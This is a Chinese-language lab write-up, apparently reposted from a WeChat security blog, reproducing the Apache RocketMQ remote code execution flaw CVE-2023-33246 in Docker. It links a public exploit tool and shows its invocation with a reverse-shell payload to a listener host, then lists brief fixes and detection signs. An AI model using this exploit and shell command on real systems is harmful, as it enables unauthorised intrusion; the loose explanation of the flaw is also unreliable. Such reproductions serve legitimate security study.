Apache RocketMQ(CVE-2023-33246)远程代码执行复现

admin 2024年11月9日21:42:10评论13 views字数 2517阅读8分23秒阅读模式

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

信安菜菜:文若有惑不解,公众号联系作者,希望大佬批评指点指点

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

Apache RocketMQ是个啥?

apache RocketMQ是阿里巴巴在2021年开发,是一个支持分布式部署消息中间件,它可以将消息从一个应用程序发送到另一个应用程序。RocketMQ使用消息队列作为消息传递的基础设施,每一个消息队列包含多个生产者和消费者

它是阿里巴巴双十一购物狂欢节和众多大规模互联网业务场景必备的基础设施

它的特点

1、可伸缩轻松扩展处理大量消息

2、高可靠性:在节点故障的情况下也能保证消息不会丢失

3、延迟:消息传递延迟非常低,使用了零拷贝技术和高效的I/O操作

4、可用性:支持复制和故障切换功能,

5、语言支持:java、python、go等多种客户端API

总之是许多企业在分布式架构中实现异步通信解决数据一致性的问题首选方案。(可以刷批量)

受影响版本:

    Apache RocketMQ <= 5.1.0
    Apache RocketMQ <=
4.9.5

漏洞原理

由于RocketMQ的NameServer、Broker、Controller多个组件泄露在外网,,导致在处理特定请求时,没有正确的验证检查输入的数据中是否存在恶意数据,导致通过构造的请求来触发该漏洞,发生RCE

也可以通过伪造 RocketMQ 协议内容来达到同样的效果,在 RocketMQ 中,各个组件之间通信使用自定义的协议,默认情况下使用的是TCP协议。可以通过伪造 RocketMQ 协议内容来欺骗其他节点接受错误的消息,并利用该漏洞执行任意命令。可以通过在网络中窃取或篡改消息,来伪造 RocketMQ 的协议内容。

比如:可以修改消息头部中的某些字段,以模拟其他节点发出的消息。如果其他节点对消息进行严格的验证和过滤,就可能会误认为该消息是合法的,并执行其中包含的恶意命令

漏洞复现

拉取对应版本的镜像镜像

docker pull apache/rocketmq:4.9.1 && docker pull apacherocketmq/rocketmq-console:2.0.0

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

启动namesrv

docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

创建文件镜像文件

mkdir -p /mydata/rocketmq/conf/ && echo "brokerClusterName = DefaultCluster brokerName = broker-a brokerId = 0 deleteWhen = 04 fileReservedTime = 48 brokerRole = ASYNC_MASTER flushDiskType = SYNC_FLUSH brokerIP1 = "主机IP" > /mydata/rocketmq/conf/broker.conf

注意需要修改brokerIP1 IP地址

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

启动:broker

docker run -d -p 10911:10911 -p 10909:10909 -v  /data/broker/logs:/root/logs -v  /data/broker/store:/root/store -v  /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

启动:console

docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv -e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876 -Dcom.rocketmq.sendMessageWithVIPChannel=false" -t apacherocketmq/rocketmq-console:2.0.0

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

访问靶场目标 ip:8899

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

开始利用

工具下载地址前提环境(java8)

https://github.com/SuperZero/CVE-2023-33246/archive/refs/heads/main.zip

执行命令需要开启监听

nc -lvnp 6868

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

利用命令

java -jar CVE-2023-33246.jar -ip "目标地址" -cmd "执行的命令"

java -jar CVE-2023-33246.jar -ip "目标ip" -cmd "bash -i >& /dev/tcp/x.x.x.x/6868 0>&"

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

执行完毕,返回vps

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

成功弹shell

防御修复

升级到最新版本

被利用特征

大量非常规的消息流量,其中包含具有恶意主题和标签的消息

异常的网络连接行为,例如大量尝试连接 Apache RocketMQ 实例的行为

突然增加的 CPU 和内存使用率,可能是攻击者通过漏洞执行了恶意代码导致

异常的日志记录行为,例如大量未知来源的错误或警告消息

参考链接:

https://blog.csdn.net/weixin_46789316/article/details/131055179?spm=1001.2014.3001.5501

https://mp.weixin.qq.com/s/bavK77yhebSmL3DDtiJLzA

https://blog.csdn.net/qq_41904294/article/details/130987233

长期更新RCE漏洞复现

多多关照

Apache RocketMQ(CVE-2023-33246)远程代码执行复现

原文始发于微信公众号(K搞安全):Apache RocketMQ(CVE-2023-33246)远程代码执行复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日21:42:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache RocketMQ(CVE-2023-33246)远程代码执行复现http://cn-sec.com/archives/1792172.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息